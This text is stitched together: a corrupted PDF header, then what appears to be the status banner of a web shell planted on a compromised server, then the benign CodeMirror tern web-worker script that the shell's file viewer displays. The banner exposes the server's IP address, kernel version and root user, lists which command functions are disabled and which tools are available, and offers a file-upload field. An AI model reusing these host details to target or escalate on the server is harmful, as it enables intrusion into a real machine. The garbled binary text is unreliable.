%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/egp/web/adminlte/plugins/codemirror/addon/tern/ |
Upload File : |
// CodeMirror, copyright (c) by Marijn Haverbeke and others // Distributed under an MIT license: https://codemirror.net/LICENSE // declare global: tern, server var server; this.onmessage = function(e) { var data = e.data; switch (data.type) { case "init": return startServer(data.defs, data.plugins, data.scripts); case "add": return server.addFile(data.name, data.text); case "del": return server.delFile(data.name); case "req": return server.request(data.body, function(err, reqData) { postMessage({id: data.id, body: reqData, err: err && String(err)}); }); case "getFile": var c = pending[data.id]; delete pending[data.id]; return c(data.err, data.text); default: throw new Error("Unknown message type: " + data.type); } }; var nextId = 0, pending = {}; function getFile(file, c) { postMessage({type: "getFile", name: file, id: ++nextId}); pending[nextId] = c; } function startServer(defs, plugins, scripts) { if (scripts) importScripts.apply(null, scripts); server = new tern.Server({ getFile: getFile, async: true, defs: defs, plugins: plugins }); } this.console = { log: function(v) { postMessage({type: "debug", message: v}); } };